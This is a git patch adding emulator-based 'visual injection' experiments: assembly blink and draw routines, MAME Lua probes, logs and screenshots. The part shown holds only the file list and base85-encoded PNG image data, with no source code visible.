From 05f1895bf521e95f8b9cc0ad8b47b81a3ac60163 Mon Sep 17 00:00:00 2001 From: SDD Date: Sun, 18 Oct 2026 03:22:59 +0300 Subject: [PATCH] dwt: visual injection experiments via the returning rdebug jump --- dwt/evidence/visual/blink2_off_3450.png | Bin 0 -> 5426 bytes dwt/evidence/visual/blink2_on_3460.png | Bin 0 -> 5436 bytes dwt/evidence/visual/blink2_on_3500.png | Bin 0 -> 5436 bytes dwt/evidence/visual/blink_mame.log | 48 +++++ dwt/evidence/visual/blink_off_3480.png | Bin 0 -> 5337 bytes dwt/evidence/visual/blink_off_3480_crop.png | Bin 0 -> 650 bytes dwt/evidence/visual/blink_on_3450.png | Bin 0 -> 5436 bytes dwt/evidence/visual/blink_on_3450_crop.png | Bin 0 -> 653 bytes dwt/evidence/visual/blink_on_3500.png | Bin 0 -> 5346 bytes dwt/evidence/visual/blink_repeat_client.log | 21 +++ dwt/evidence/visual/blink_repeat_mame.log | 29 +++ dwt/evidence/visual/blink_resident_client.log | 15 ++ dwt/evidence/visual/control_hello_3480.png | Bin 0 -> 5152 bytes dwt/evidence/visual/control_spin_box_3480.png | Bin 0 -> 5365 bytes dwt/evidence/visual/control_spin_client.log | 7 + dwt/evidence/visual/di_one_shot_state.log | 29 +++ dwt/evidence/visual/hook_breakpoints.log | 73 +++++++ .../visual/posthandler_persist_3600.png | Bin 0 -> 5346 bytes dwt/evidence/visual/settled_hook_client.log | 15 ++ dwt/evidence/visual/settled_hook_mame.log | 45 +++++ dwt/evidence/visual/static_after_3430.png | Bin 0 -> 5506 bytes dwt/evidence/visual/static_before_3420.png | Bin 0 -> 5506 bytes dwt/evidence/visual/static_draw_client.log | 10 + dwt/evidence/visual/step1_alive_3500.png | Bin 0 -> 5412 bytes dwt/evidence/visual/step1_ret_test.log | 16 ++ dwt/evidence/visual/step3_blink_client.log | 21 +++ dwt/evidence/visual/summary.txt | 95 ++++++++++ dwt/evidence/visual/xcheck.log | 4 + dwt/evidence/visual/xcheck_mame.log | 12 ++ dwt/notes/CROSS.md | 25 +++ dwt/notes/VISUAL_INJECTION.md | 164 ++++++++++++++++ dwt/visual/blink.asm | 73 +++++++ dwt/visual/blink2.asm | 119 ++++++++++++ dwt/visual/blinkdi.asm | 117 ++++++++++++ dwt/visual/blinkev.asm | 107 +++++++++++ dwt/visual/blinkpc.asm | 119 ++++++++++++ dwt/visual/boxalign.asm | 30 +++ dwt/visual/build.sh | 78 ++++++++ dwt/visual/build/blink.bin | Bin 0 -> 172 bytes dwt/visual/build/blink.lst | 108 +++++++++++ dwt/visual/build/blink.map | 34 ++++ dwt/visual/build/blink2.bin | Bin 0 -> 300 bytes dwt/visual/build/blink2.lst | 178 ++++++++++++++++++ dwt/visual/build/blink2.map | 34 ++++ dwt/visual/build/blinkev.bin | Bin 0 -> 252 bytes dwt/visual/build/blinkev.lst | 159 ++++++++++++++++ dwt/visual/build/blinkev.map | 34 ++++ dwt/visual/build/blinkpc.bin | Bin 0 -> 300 bytes dwt/visual/build/blinkpc.lst | 178 ++++++++++++++++++ dwt/visual/build/blinkpc.map | 34 ++++ dwt/visual/build/boxalign.bin | Bin 0 -> 54 bytes dwt/visual/build/boxalign.lst | 43 +++++ dwt/visual/build/boxalign.map | 34 ++++ dwt/visual/build/draw_box.bin | Bin 0 -> 126 bytes dwt/visual/build/draw_box.lst | 90 +++++++++ dwt/visual/build/draw_box.map | 34 ++++ dwt/visual/build/drawal.bin | Bin 0 -> 122 bytes dwt/visual/build/drawal.lst | 87 +++++++++ dwt/visual/build/drawal.map | 34 ++++ dwt/visual/build/drawspin.bin | Bin 0 -> 118 bytes dwt/visual/build/drawspin.lst | 85 +++++++++ dwt/visual/build/drawspin.map | 34 ++++ dwt/visual/build/ret_test.bin | Bin 0 -> 30 bytes dwt/visual/build/ret_test.lst | 30 +++ dwt/visual/build/ret_test.map | 34 ++++ dwt/visual/build/retprobe.bin | Bin 0 -> 116 bytes dwt/visual/build/retprobe.lst | 74 ++++++++ dwt/visual/build/retprobe.map | 34 ++++ dwt/visual/draw_box.asm | 61 ++++++ dwt/visual/drawal.asm | 59 ++++++ dwt/visual/drawspin.asm | 58 ++++++ dwt/visual/frame_clock.lua | 25 +++ dwt/visual/inject.py | 130 +++++++++++++ dwt/visual/probe_end.lua | 24 +++ dwt/visual/probe_hook.lua | 40 ++++ dwt/visual/probe_irq.lua | 58 ++++++ dwt/visual/probe_irq2.lua | 41 ++++ dwt/visual/probe_pc.lua | 46 +++++ dwt/visual/ret_test.asm | 19 ++ dwt/visual/retprobe.asm | 47 +++++ 80 files changed, 3252 insertions(+) create mode 100644 dwt/evidence/visual/blink2_off_3450.png create mode 100644 dwt/evidence/visual/blink2_on_3460.png create mode 100644 dwt/evidence/visual/blink2_on_3500.png create mode 100644 dwt/evidence/visual/blink_mame.log create mode 100644 dwt/evidence/visual/blink_off_3480.png create mode 100644 dwt/evidence/visual/blink_off_3480_crop.png create mode 100644 dwt/evidence/visual/blink_on_3450.png create mode 100644 dwt/evidence/visual/blink_on_3450_crop.png create mode 100644 dwt/evidence/visual/blink_on_3500.png create mode 100644 dwt/evidence/visual/blink_repeat_client.log create mode 100644 dwt/evidence/visual/blink_repeat_mame.log create mode 100644 dwt/evidence/visual/blink_resident_client.log create mode 100644 dwt/evidence/visual/control_hello_3480.png create mode 100644 dwt/evidence/visual/control_spin_box_3480.png create mode 100644 dwt/evidence/visual/control_spin_client.log create mode 100644 dwt/evidence/visual/di_one_shot_state.log create mode 100644 dwt/evidence/visual/hook_breakpoints.log create mode 100644 dwt/evidence/visual/posthandler_persist_3600.png create mode 100644 dwt/evidence/visual/settled_hook_client.log create mode 100644 dwt/evidence/visual/settled_hook_mame.log create mode 100644 dwt/evidence/visual/static_after_3430.png create mode 100644 dwt/evidence/visual/static_before_3420.png create mode 100644 dwt/evidence/visual/static_draw_client.log create mode 100644 dwt/evidence/visual/step1_alive_3500.png create mode 100644 dwt/evidence/visual/step1_ret_test.log create mode 100644 dwt/evidence/visual/step3_blink_client.log create mode 100644 dwt/evidence/visual/summary.txt create mode 100644 dwt/evidence/visual/xcheck.log create mode 100644 dwt/evidence/visual/xcheck_mame.log create mode 100644 dwt/notes/VISUAL_INJECTION.md create mode 100644 dwt/visual/blink.asm create mode 100644 dwt/visual/blink2.asm create mode 100644 dwt/visual/blinkdi.asm create mode 100644 dwt/visual/blinkev.asm create mode 100644 dwt/visual/blinkpc.asm create mode 100644 dwt/visual/boxalign.asm create mode 100755 dwt/visual/build.sh create mode 100644 dwt/visual/build/blink.bin create mode 100644 dwt/visual/build/blink.lst create mode 100644 dwt/visual/build/blink.map create mode 100644 dwt/visual/build/blink2.bin create mode 100644 dwt/visual/build/blink2.lst create mode 100644 dwt/visual/build/blink2.map create mode 100644 dwt/visual/build/blinkev.bin create mode 100644 dwt/visual/build/blinkev.lst create mode 100644 dwt/visual/build/blinkev.map create mode 100644 dwt/visual/build/blinkpc.bin create mode 100644 dwt/visual/build/blinkpc.lst create mode 100644 dwt/visual/build/blinkpc.map create mode 100644 dwt/visual/build/boxalign.bin create mode 100644 dwt/visual/build/boxalign.lst create mode 100644 dwt/visual/build/boxalign.map create mode 100644 dwt/visual/build/draw_box.bin create mode 100644 dwt/visual/build/draw_box.lst create mode 100644 dwt/visual/build/draw_box.map create mode 100644 dwt/visual/build/drawal.bin create mode 100644 dwt/visual/build/drawal.lst create mode 100644 dwt/visual/build/drawal.map create mode 100644 dwt/visual/build/drawspin.bin create mode 100644 dwt/visual/build/drawspin.lst create mode 100644 dwt/visual/build/drawspin.map create mode 100644 dwt/visual/build/ret_test.bin create mode 100644 dwt/visual/build/ret_test.lst create mode 100644 dwt/visual/build/ret_test.map create mode 100644 dwt/visual/build/retprobe.bin create mode 100644 dwt/visual/build/retprobe.lst create mode 100644 dwt/visual/build/retprobe.map create mode 100644 dwt/visual/draw_box.asm create mode 100644 dwt/visual/drawal.asm create mode 100644 dwt/visual/drawspin.asm create mode 100644 dwt/visual/frame_clock.lua create mode 100644 dwt/visual/inject.py create mode 100644 dwt/visual/probe_end.lua create mode 100644 dwt/visual/probe_hook.lua create mode 100644 dwt/visual/probe_irq.lua create mode 100644 dwt/visual/probe_irq2.lua create mode 100644 dwt/visual/probe_pc.lua create mode 100644 dwt/visual/ret_test.asm create mode 100644 dwt/visual/retprobe.asm diff --git a/dwt/evidence/visual/blink2_off_3450.png b/dwt/evidence/visual/blink2_off_3450.png new file mode 100644 index 0000000000000000000000000000000000000000..04aab1c88527241ea172ae9d01210c5ca7a9f0f6 GIT binary patch literal 5426 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 literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/blink2_on_3500.png b/dwt/evidence/visual/blink2_on_3500.png new file mode 100644 index 0000000000000000000000000000000000000000..f9136e52a09d3362d51b0c32a51a003040fbc578 GIT binary patch literal 5436 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 literal 0 